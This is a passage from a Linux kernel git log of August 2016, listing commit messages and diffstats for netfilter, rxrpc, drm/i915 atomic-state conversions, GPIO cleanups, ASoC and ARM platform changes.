x y # nft add chain x y { type nat hook input priority 0\; } :1:1-49: Error: Could not process rule: Device or resource busy add chain x y { type nat hook input priority 0; } ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_api.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit 15d8bb4899d5adf39efd13e0a407c6df4055e7e4 Author: Markus Elfring Date: Tue Aug 16 14:25:35 2016 +0200 drm/rockchip: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/41e48fd3-f713-7225-1df2-3b1f4758f949@users.sourceforge.net drivers/gpu/drm/rockchip/analogix_dp-rockchip.c | 1 - drivers/gpu/drm/rockchip/rockchip_vop_reg.c | 1 - 2 files changed, 2 deletions(-) commit 79d0d27d8801ef48f209f7ee62bc432d6fe06cc6 Author: Markus Elfring Date: Tue Aug 16 13:52:19 2016 +0200 drm/bridge: dw-hdmi: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/7c97565d-eee3-45e9-b494-9e802977502c@users.sourceforge.net drivers/gpu/drm/bridge/dw-hdmi-ahb-audio.c | 1 - 1 file changed, 1 deletion(-) commit 39a9ad8fed1b4d556accacbd4e02dac9e98b5be0 Author: Sean Paul Date: Mon Aug 15 16:12:29 2016 -0700 drm/rockchip: Don't continue trying to enable crtc on failure If vop_enable fails, don't continue on, it causes system hangs. Reviewed-by: Yakir Yank Tested-by: Yakir Yank Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1471302749-2811-1-git-send-email-seanpaul@chromium.org drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 31 ++++++++++++++++------------- 1 file changed, 17 insertions(+), 14 deletions(-) commit 508f8ccdab0ef530dbc0ef8bb526ee11acc409ed Author: Pablo Neira Ayuso Date: Tue Aug 2 00:20:01 2016 +0200 netfilter: nf_tables: introduce nft_chain_parse_hook() Introduce a new function to wrap the code that parses the chain hook configuration so we can reuse this code to validate chain updates. Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_api.c | 152 +++++++++++++++++++++++++----------------- 1 file changed, 89 insertions(+), 63 deletions(-) commit 18bfeba50dfd0c8ee420396f2570f16a0bdbd7de Author: David Howells Date: Tue Aug 23 15:27:25 2016 +0100 rxrpc: Perform terminal call ACK/ABORT retransmission from conn processor Perform terminal call ACK/ABORT retransmission in the connection processor rather than in the call processor. With this change, once last_call is set, no more incoming packets will be routed to the corresponding call or any earlier calls on that channel (call IDs must only increase on a channel on a connection). Further, if a packet's callNumber is before the last_call ID or a packet is aimed at successfully completed service call then that packet is discarded and ignored. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 7 ++- net/rxrpc/conn_event.c | 113 ++++++++++++++++++++++++++++++++++++++++++++++++ net/rxrpc/conn_object.c | 10 ++++- net/rxrpc/input.c | 31 ++++++++++++- 4 files changed, 157 insertions(+), 4 deletions(-) commit 563ea7d5d4eaf0ff63ddcaf8ed849eb88bb5738d Author: David Howells Date: Tue Aug 23 15:27:25 2016 +0100 rxrpc: Calculate serial skew on packet reception Calculate the serial number skew in the data_ready handler when a packet has been received and a connection looked up. The skew is cached in the sk_buff's priority field. The connection highest received serial number is updated at this time also. This can be done without locks or atomic instructions because, at this point, the code is serialised by the socket. This generates more accurate skew data because if the packet is offloaded to a work queue before this is determined, more packets may come in, bumping the highest serial number and thereby increasing the apparent skew. This also removes some unnecessary atomic ops. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 7 ++++--- net/rxrpc/call_event.c | 18 ++++++++++-------- net/rxrpc/input.c | 37 +++++++++++++++++++++++-------------- net/rxrpc/proc.c | 2 +- net/rxrpc/skbuff.c | 10 +++++----- 5 files changed, 43 insertions(+), 31 deletions(-) commit f51b4480021c470d1f5e8066ccc7c10513bd4e37 Author: David Howells Date: Tue Aug 23 15:27:24 2016 +0100 rxrpc: Set connection expiry on idle, not put Set the connection expiry time when a connection becomes idle rather than doing this in rxrpc_put_connection(). This makes the put path more efficient (it is likely to be called occasionally whilst a connection has outstanding calls because active workqueue items needs to be given a ref). The time is also preset in the connection allocator in case the connection never gets used. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 11 +++++++++-- net/rxrpc/conn_object.c | 42 +++++++++++++++++------------------------- 2 files changed, 26 insertions(+), 27 deletions(-) commit 8f899b4ed6918ee4f7b87654f772bdaa0d580124 Author: Karl Beldan Date: Fri Aug 19 16:47:36 2016 +0000 ARM: davinci: da850: Add ti-aemif lookup for clock matching The davinci boards don't have their clocks in DT yet and getting a clock will fail, unless registering them as clk_lookups. This registers the aemif clock for the ti-aemif memory driver. The current aemif lookup entry resolving to the same clock: 'CLK(NULL, "aemif", &aemif_clk)' is currently used by davinci_nand and remains for non-DT and backward compatibility. Currently the davinci boards only configure the AEMIF in case of non-DT boot, via some code in mach-davinci. This change will allow DT-based davinci platforms to do the same, via the ti-aemif memory driver code. Signed-off-by: Karl Beldan [nsekhar@ti.com: reworded commit message] Signed-off-by: Sekhar Nori arch/arm/mach-davinci/da850.c | 1 + arch/arm/mach-davinci/da8xx-dt.c | 1 + 2 files changed, 2 insertions(+) commit c14a868a5a14f385059f012e54291de95a538a02 Author: Dan Williams Date: Thu Aug 18 22:15:04 2016 -0700 tools/testing/nvdimm: unit test for acpi_nfit_notify() We have had a couple bugs in this implementation in the past and before we add another ->notify() implementation for nvdimm devices, lets allow this routine to be exercised via nfit_test. Rewrite acpi_nfit_notify() in terms of a generic struct device and acpi_handle parameter, and then implement a mock acpi_evaluate_object() that returns a _FIT payload. Cc: Vishal Verma Reviewed-by: Vishal Verma Acked-by: Rafael J. Wysocki Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 25 ++++++++++++++----------- drivers/acpi/nfit/nfit.h | 1 + tools/testing/nvdimm/Kbuild | 1 + tools/testing/nvdimm/test/iomap.c | 17 +++++++++++++++++ tools/testing/nvdimm/test/nfit.c | 21 +++++++++++++++------ 5 files changed, 48 insertions(+), 17 deletions(-) commit c09f12186d6b03b798832d95289af76495990192 Author: Vishal Verma Date: Fri Aug 19 14:40:58 2016 -0600 acpi, nfit: check for the correct event code in notifications Commit 209851649dc4 "acpi: nfit: Add support for hot-add" added support for _FIT notifications, but it neglected to verify the notification event code matches the one in the ACPI spec for "NFIT Update". Currently there is only one code in the spec, but once additional codes are added, older kernels (without this fix) will misbehave by assuming all event notifications are for an NFIT Update. Fixes: 209851649dc4 ("acpi: nfit: Add support for hot-add") Cc: Cc: Cc: Dan Williams Reported-by: Linda Knippers Signed-off-by: Vishal Verma Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 3 +++ drivers/acpi/nfit/nfit.h | 4 ++++ 2 files changed, 7 insertions(+) commit df844fd46b98c2efde8f4ac2d50d59bc90c4c679 Author: David Howells Date: Tue Aug 23 15:27:24 2016 +0100 rxrpc: Use a tracepoint for skb accounting debugging Use a tracepoint to log various skb accounting points to help in debugging refcounting errors. Signed-off-by: David Howells include/trace/events/rxrpc.h | 56 +++++++++++++++++++++++++++++++++++++++ net/rxrpc/af_rxrpc.c | 1 + net/rxrpc/ar-internal.h | 45 +++++--------------------------- net/rxrpc/call_accept.c | 1 + net/rxrpc/call_event.c | 3 +++ net/rxrpc/conn_event.c | 2 ++ net/rxrpc/local_event.c | 1 + net/rxrpc/output.c | 1 + net/rxrpc/recvmsg.c | 1 + net/rxrpc/skbuff.c | 62 ++++++++++++++++++++++++++++++++++++++++++++ 10 files changed, 135 insertions(+), 38 deletions(-) commit 01a90a459850ed1f1573f06f00f7b9d466339df0 Author: David Howells Date: Tue Aug 23 15:27:24 2016 +0100 rxrpc: Drop channel number field from rxrpc_call struct Drop the channel number (channel) field from the rxrpc_call struct to reduce the size of the call struct. The field is redundant: if the call is attached to a connection, the channel can be obtained from there by AND'ing with RXRPC_CHANNELMASK. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 - net/rxrpc/call_object.c | 7 +++---- net/rxrpc/conn_client.c | 1 - net/rxrpc/conn_object.c | 5 +++-- net/rxrpc/rxkad.c | 4 ++-- 5 files changed, 8 insertions(+), 10 deletions(-) commit f36b5e444cf772f52782d47e99c68fef20ac5195 Author: David Howells Date: Tue Aug 23 15:27:24 2016 +0100 rxrpc: When clearing a socket, clear the call sets in the right order When clearing a socket, we should clear the securing-in-progress list first, then the accept queue and last the main call tree because that's the order in which a call progresses. Not that a call should move from the accept queue to the main tree whilst we're shutting down a socket, but it a call could possibly move from sequreq to acceptq whilst we're clearing up. Signed-off-by: David Howells net/rxrpc/call_object.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit dabe5a790655c79f47d75749874ce7b4d5016de9 Author: David Howells Date: Tue Aug 23 15:27:24 2016 +0100 rxrpc: Tidy up the rxrpc_call struct a bit Do a little tidying of the rxrpc_call struct: (1) in_clientflag is no longer compared against the value that's in the packet, so keeping it in this form isn't necessary. Use a flag in flags instead and provide a pair of wrapper functions. (2) We don't read the epoch value, so that can go. (3) Move what remains of the data that were used for hashing up in the struct to be with the channel number. (4) Get rid of the local pointer. We can get at this via the socket struct and we only use this in the procfs viewer. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 23 +++++++++++++++-------- net/rxrpc/call_object.c | 7 +------ net/rxrpc/conn_client.c | 1 - net/rxrpc/output.c | 4 ++-- net/rxrpc/proc.c | 6 +++--- 5 files changed, 21 insertions(+), 20 deletions(-) commit 26164e77cafbde075397f1df45245be03d8f19b6 Author: David Howells Date: Tue Aug 23 15:27:23 2016 +0100 rxrpc: Remove RXRPC_CALL_PROC_BUSY Remove RXRPC_CALL_PROC_BUSY as work queue items are now 100% non-reentrant. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 - net/rxrpc/call_event.c | 6 ------ 2 files changed, 7 deletions(-) commit b43f95695124baba9f7c48e247fc8fd212a984d9 Author: Pablo Neira Date: Mon Aug 22 11:37:36 2016 +0200 netfilter: nf_tables: typo in trace attribute definition Should be attributes, instead of attibutes, for consistency with other definitions. Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e02a9b7ce4a90a15480b8361d215b4ba2e92d05a Merge: fbbf2b3 04208a2 Author: Jason Cooper Date: Tue Aug 23 12:34:13 2016 +0000 Merge branch 'irqchip/mvebu64' into irqchip/core commit cfe63423d9be3e7020296c3dfb512768a83cd099 Author: Noralf Trønnes Date: Tue Aug 23 13:54:06 2016 +0200 drm/fb-helper: Add drm_fb_helper_set_suspend_unlocked() This adds a function that also takes the console lock before calling fb_set_suspend() in contrast to drm_fb_helper_set_suspend() which is a plain wrapper around fb_set_suspend(). Resume is run asynchronously using a worker if the console lock is already taken. This is modelled after the i915 driver. Signed-off-by: Noralf Trønnes Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471953246-29602-1-git-send-email-noralf@tronnes.org drivers/gpu/drm/drm_fb_helper.c | 62 ++++++++++++++++++++++++++++++++++++++++- include/drm/drm_fb_helper.h | 9 ++++++ 2 files changed, 70 insertions(+), 1 deletion(-) commit 541070cec4f9be18ce9fcc74ac5e1036965ceb63 Author: Shreyas NC Date: Tue Aug 23 09:31:03 2016 +0530 ASoC: Intel: Skylake: Parse manifest data Topology manifest has lib names and lib count info. So, define tokens to represent module private data and parse these tokens to fill up the manifest structure in the driver accordingly. Signed-off-by: Shreyas NC Signed-off-by: Vinod Koul Signed-off-by: Mark Brown include/uapi/sound/snd_sst_tokens.h | 8 +- sound/soc/intel/skylake/skl-topology.c | 194 ++++++++++++++++++++++++++++++++- 2 files changed, 200 insertions(+), 2 deletions(-) commit c6144fb8ec5328110ca7bf4682167a95590fd7ec Author: Karl Beldan Date: Fri Aug 19 16:47:35 2016 +0000 ARM: davinci_all_defconfig: Enable some UBI modules This enables UBI+UBIFS to handle the NAND MTDs, including the useful MTD_UBI_BLOCK. Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/configs/davinci_all_defconfig | 3 +++ 1 file changed, 3 insertions(+) commit 78822e36dca8fe8bc83e7847508891b59f3f8603 Author: John Hsu Date: Tue Aug 23 16:02:49 2016 +0800 ASoC: nau8810: fix compile warning in loopback switch control Thank Stephen Rothwell for the message. The patch is to fix the following compile error. sound/soc/codecs/nau8810.c:441:3: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types] SND_SOC_DAPM_SWITCH("Digital Loopback", SND_SOC_NOPM, 0, 0, &nau8810_loopback), ^ sound/soc/codecs/nau8810.c:441:3: note: (near initialization for 'nau8810_dapm_widgets[11].kcontrol_news') Signed-off-by: John Hsu Signed-off-by: Mark Brown sound/soc/codecs/nau8810.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 62e0fb880123c98793e5c3ba8355501b0305e92e Author: Lyude Date: Mon Aug 22 12:50:08 2016 -0400 drm/i915/skl: Update plane watermarks atomically during plane updates Thanks to Ville for suggesting this as a potential solution to pipe underruns on Skylake. On Skylake all of the registers for configuring planes, including the registers for configuring their watermarks, are double buffered. New values written to them won't take effect until said registers are "armed", which is done by writing to the PLANE_SURF (or in the case of cursor planes, the CURBASE register) register. With this in mind, up until now we've been updating watermarks on skl like this: non-modeset { - calculate (during atomic check phase) - finish_atomic_commit: - intel_pre_plane_update: - intel_update_watermarks() - {vblank happens; new watermarks + old plane values => underrun } - drm_atomic_helper_commit_planes_on_crtc: - start vblank evasion - write new plane registers - end vblank evasion } or modeset { - calculate (during atomic check phase) - finish_atomic_commit: - crtc_enable: - intel_update_watermarks() - {vblank happens; new watermarks + old plane values => underrun } - drm_atomic_helper_commit_planes_on_crtc: - start vblank evasion - write new plane registers - end vblank evasion } Now we update watermarks atomically like this: non-modeset { - calculate (during atomic check phase) - finish_atomic_commit: - intel_pre_plane_update: - intel_update_watermarks() (wm values aren't written yet) - drm_atomic_helper_commit_planes_on_crtc: - start vblank evasion - write new plane registers - write new wm values - end vblank evasion } modeset { - calculate (during atomic check phase) - finish_atomic_commit: - crtc_enable: - intel_update_watermarks() (actual wm values aren't written yet) - drm_atomic_helper_commit_planes_on_crtc: - start vblank evasion - write new plane registers - write new wm values - end vblank evasion } So this patch moves all of the watermark writes into the right place; inside of the vblank evasion where we update all of the registers for each plane. While this patch doesn't fix everything, it does allow us to update the watermark values in the way the hardware expects us to. Changes since original patch series: - Remove mutex_lock/mutex_unlock since they don't do anything and we're not touching global state - Move skl_write_cursor_wm/skl_write_plane_wm functions into intel_pm.c, make externally visible - Add skl_write_plane_wm calls to skl_update_plane - Fix conditional for for loop in skl_write_plane_wm (level < max_level should be level <= max_level) - Make diagram in commit more accurate to what's actually happening - Add Fixes: Changes since v1: - Use IS_GEN9() instead of IS_SKYLAKE() since these fixes apply to more then just Skylake - Update description to make it clear this patch doesn't fix everything - Check if pipes were actually changed before writing watermarks Changes since v2: - Write PIPE_WM_LINETIME during vblank evasion Changes since v3: - Rebase against new SAGV patch changes Changes since v4: - Add a parameter to choose what skl_wm_values struct to use when writing new plane watermarks Changes since v5: - Remove cursor ddb entry write in skl_write_cursor_wm(), defer until patch 6 - Write WM_LINETIME in intel_begin_crtc_commit() Changes since v6: - Remove redundant dirty_pipes check in skl_write_plane_wm (we check this in all places where we call this function, and it was supposed to have been removed earlier anyway) - In i9xx_update_cursor(), use dev_priv->info.gen >= 9 instead of IS_GEN9(dev_priv). We do this everywhere else and I'd imagine this needs to be done for gen10 as well Changes since v7: - Fix rebase fail (unused variable obj) - Make struct skl_wm_values *wm const - Fix indenting - Use INTEL_GEN() instead of dev_priv->info.gen Changes since v8: - Don't forget calls to skl_write_plane_wm() when disabling planes - Use INTEL_GEN(), not INTEL_INFO()->gen in intel_begin_crtc_commit() Fixes: 2d41c0b59afc ("drm/i915/skl: SKL Watermark Computation") Signed-off-by: Lyude Reviewed-by: Matt Roper Cc: stable@vger.kernel.org Cc: Ville Syrjälä Cc: Daniel Vetter Cc: Radhakrishna Sripada Cc: Hans de Goede Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1471884608-10671-1-git-send-email-cpaul@redhat.com Link: http://patchwork.freedesktop.org/patch/msgid/1471884608-10671-1-git-send-email-cpaul@redhat.com drivers/gpu/drm/i915/intel_display.c | 21 +++++++++++++-- drivers/gpu/drm/i915/intel_drv.h | 5 ++++ drivers/gpu/drm/i915/intel_pm.c | 50 ++++++++++++++++++++++++------------ drivers/gpu/drm/i915/intel_sprite.c | 9 +++++++ 4 files changed, 67 insertions(+), 18 deletions(-) commit 1f0017f6f377cf87a227fd5222ad06e2d52be12c Author: Maarten Lankhorst Date: Tue Aug 9 17:04:14 2016 +0200 drm/i915: Use more atomic state in intel_color.c crtc_state is already passed around, use it instead of crtc->config. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-16-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_color.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit 85cb48a1651ee7cbc49468776d3078418f7827c5 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:13 2016 +0200 drm/i915: Convert intel_dp to use atomic state Slightly less straightforward. Some of the drrs calls are done from workers or from intel_ddi.c, pass along crtc_state when we can, or crtc->config when we can't. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-15-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_ddi.c | 4 +- drivers/gpu/drm/i915/intel_dp.c | 123 ++++++++++++++++++--------------------- drivers/gpu/drm/i915/intel_drv.h | 6 +- 3 files changed, 64 insertions(+), 69 deletions(-) commit 1e7bfa0b0e845d5e6984eb0dcdfd150c900d30b3 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:12 2016 +0200 drm/i915: Convert intel_dp_mst to use atomic state Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-14-git-send-email-maarten.lankhorst@linux.intel.com [mlankhorst: Address bikeshed.] Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dp_mst.c | 49 ++++++++++++++----------------------- 1 file changed, 18 insertions(+), 31 deletions(-) commit d468e21e8c4f79dcc171b1f66dbb4e66c8ff53d7 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:11 2016 +0200 drm/i915: Convert intel_lvds to use atomic state Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-13-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter [mlankhorst: Small fixup wrt register renames.] drivers/gpu/drm/i915/intel_lvds.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 83809b90a6dbedbcd94fcb99c9cde9477534f3d3 Author: Russell King Date: Fri Aug 19 15:15:03 2016 +0100 ARM: sa1100: move StrongARM CPU ID checks to cputype.h Move the StrongARM CPU ID checks out of the platform's hardware.h file into asm/cputype.h Acked-by: Viresh Kumar Signed-off-by: Russell King arch/arm/include/asm/cputype.h | 21 +++++++++++++++++++++ arch/arm/mach-sa1100/include/mach/hardware.h | 18 ------------------ drivers/cpufreq/sa1110-cpufreq.c | 2 +- 3 files changed, 22 insertions(+), 19 deletions(-) commit adaaf63e24987d197aed8dc11493c4fd9c40f138 Author: Paul Gortmaker Date: Mon Aug 22 12:48:33 2016 -0400 gpio: vf610: drop unused MODULE_ tags from non-modular code The Kconfig currently controlling compilation of this code is: drivers/gpio/Kconfig:config GPIO_VF610 drivers/gpio/Kconfig: def_bool y ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information is now contained at the top of the file in the comments. We don't replace module.h with init.h since the file already has that. Cc: Alexandre Courbot Cc: Stefan Agner Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-vf610.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit b29c5ddaea75a3d4ed6f50ca25935e552cf89753 Author: Paul Gortmaker Date: Mon Aug 22 12:48:32 2016 -0400 gpio: spear-spics: drop unused MODULE_ tags from non-modular code The Kconfig currently controlling compilation of this code is: drivers/gpio/Kconfig:config GPIO_SPEAR_SPICS drivers/gpio/Kconfig: bool "ST SPEAr13xx SPI Chip Select as GPIO support" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information is now contained at the top of the file in the comments. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. Cc: Alexandre Courbot Cc: Shiraz Hashim Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-spear-spics.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 2c8d6c869feba71fce7496eda04297d18561d623 Author: Paul Gortmaker Date: Mon Aug 22 12:48:31 2016 -0400 gpio: mxc: drop unused MODULE_ tags from non-modular code The Kconfig currently controlling compilation of this code is: drivers/gpio/Kconfig:config GPIO_MXC drivers/gpio/Kconfig: def_bool y ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Note the original e-mail had a missing/typo'd @ symbol anyway. We don't replace module.h with init.h since the file already has that. Cc: Alexandre Courbot Cc: Daniel Mack Cc: Juergen Beisert Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-mxc.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 98102880c750d38b3be355fbcbc85a181fa3298a Author: Paul Gortmaker Date: Mon Aug 22 12:48:30 2016 -0400 gpio: msic: drop unused MODULE_ tags from non-modular code The Kconfig currently controlling compilation of this code is: drivers/gpio/Kconfig:config GPIO_MSIC drivers/gpio/Kconfig: bool "Intel MSIC mixed signal gpio support" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modular infrastructure use, so that when reading the driver there is no doubt it is builtin-only. We delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. We don't replace module.h with init.h since the file already has that. Cc: Alexandre Courbot Cc: Mathias Nyman Cc: linux-gpio@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Linus Walleij drivers/gpio/gpio-msic.c | 6 ------ 1 file changed, 6 deletions(-) commit f9fe053064a0b8dcb7b252b1148f060fc6586a4e Author: Maarten Lankhorst Date: Tue Aug 9 17:04:10 2016 +0200 drm/i915: Convert intel_sdvo to use atomic state Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-12-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_sdvo.c | 27 +++++++++++---------------- 1 file changed, 11 insertions(+), 16 deletions(-) commit 5eff0edf32a063bddcf7d3c44199c685e66360cd Author: Maarten Lankhorst Date: Tue Aug 9 17:04:09 2016 +0200 drm/i915: Convert intel_dsi to use atomic state Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-11-git-send-email-maarten.lankhorst@linux.intel.com [mlankhorst: Unbreak bxt_dsi_get_pipe_config] Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dsi.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit 3515c1bbfae34aca2df0f639364e31c85fbf30f5 Author: Michael Weiser Date: Mon Aug 22 18:42:19 2016 +0200 ARM: sunxi: enable big-endian With previous fixes to stmmac, sun4i-emac and sun4i-mmc at least the Cubieboard2 incarnation of sunxi works correctly in big-endian mode. Allow the selection of big-endian. Tested using a Cubieboard2 DualCard and the following hardware-components: - GMAC (stmmac) - EMAC (sun4i-emac) - SATA - SPI - UART - security system - touchscreen controller hwmon functionality - pinctrl (custom interrupt for SPI ethernet controller) - watchdog as reset controller - onboard RTC - DS1307 I2C RTC - sound codec and with this indirectly the DMA engine Signed-off-by: Michael Weiser Cc: Maxime Ripard Cc: Chen-Yu Tsai Cc: linux-arm-kernel@lists.infradead.org Signed-off-by: Maxime Ripard arch/arm/mach-sunxi/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 10b52a49ac62cd8cedc08c50178dc6fbb8925b87 Author: Mark Rutland Date: Thu Aug 18 11:45:18 2016 +0100 ARM: 8598/1: remove traces of perf_ops_bp Even though perf_ops_bp was removed/renamed back in commit b0a873ebbf87bf38 ("perf: Register PMU implementations"), as part of v2.6.37, its definition still lives on in some arch headers. This patch removes the vestigal definition from arm. Signed-off-by: Mark Rutland Acked-by: Will Deacon Cc: Russell King Signed-off-by: Russell King arch/arm/include/asm/hw_breakpoint.h | 1 - 1 file changed, 1 deletion(-) commit ae9a911bb0aa229787b49393758be34c610167fc Author: Maarten Lankhorst Date: Tue Aug 9 17:04:08 2016 +0200 drm/i915: Convert intel_dvo to use atomic state Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-10-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dvo.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 225cc348409e7d9ea19f2bd7e1898b652a0b0b81 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:07 2016 +0200 drm/i915: Convert intel_crt to use atomic state Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-9-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_crt.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 1189e4f4d8818b438d5cdbd7d45a2c0ed6170671 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:06 2016 +0200 drm/i915: Remove unused loop from intel_dp_mst_compute_config Now that conn_state is passed in as argument to compute_config, it's guaranteed that there is a connector for the argument. The code that looks for the connector is now dead, and completely unused. Delete it. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-8-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dp_mst.c | 19 +------------------ 1 file changed, 1 insertion(+), 18 deletions(-) commit 0a478c27db43ad6a0e229ff1b922a16d2eae9701 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:05 2016 +0200 drm/i915: Make encoder->compute_config take the connector state Some places iterate over connector_state to find the right connector, pass it along as argument. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-7-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_crt.c | 3 ++- drivers/gpu/drm/i915/intel_ddi.c | 7 ++++--- drivers/gpu/drm/i915/intel_display.c | 2 +- drivers/gpu/drm/i915/intel_dp.c | 3 ++- drivers/gpu/drm/i915/intel_dp_mst.c | 4 ++-- drivers/gpu/drm/i915/intel_drv.h | 9 ++++++--- drivers/gpu/drm/i915/intel_dsi.c | 3 ++- drivers/gpu/drm/i915/intel_dvo.c | 3 ++- drivers/gpu/drm/i915/intel_hdmi.c | 3 ++- drivers/gpu/drm/i915/intel_lvds.c | 3 ++- drivers/gpu/drm/i915/intel_sdvo.c | 3 ++- drivers/gpu/drm/i915/intel_tv.c | 3 ++- 12 files changed, 29 insertions(+), 17 deletions(-) commit fd6bbda9c7a46bec6462878787335d2ac6294040 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:04 2016 +0200 drm/i915: Pass crtc_state and connector_state to encoder functions This is mostly code churn, with exception of a few places: - intel_display.c has changes in intel_sanitize_encoder - intel_ddi.c has intel_ddi_fdi_disable calling intel_ddi_post_disable, and required a function change. Also affects intel_display.c - intel_dp_mst.c passes a NULL crtc_state and conn_state to intel_ddi_post_disable for shutting down the real encoder. If we would pass conn_state, then conn_state->connector != intel_dig_port->connector and conn_state->best_encoder != to_intel_encoder(intel_dig_port). We also shouldn't pass crtc_state, because in that case the disabling sequence may potentially be different depending on which crtc is disabled last. Nice way to introduce bugs. No other functional changes are done, diff stat is already huge. Each encoder type will need to be fixed to use the atomic states separately. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-6-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_crt.c | 18 +++++-- drivers/gpu/drm/i915/intel_ddi.c | 31 +++++++---- drivers/gpu/drm/i915/intel_display.c | 102 ++++++++++++++++++++--------------- drivers/gpu/drm/i915/intel_dp.c | 48 ++++++++++++----- drivers/gpu/drm/i915/intel_dp_mst.c | 20 +++++-- drivers/gpu/drm/i915/intel_drv.h | 28 +++++++--- drivers/gpu/drm/i915/intel_dsi.c | 16 ++++-- drivers/gpu/drm/i915/intel_dvo.c | 12 +++-- 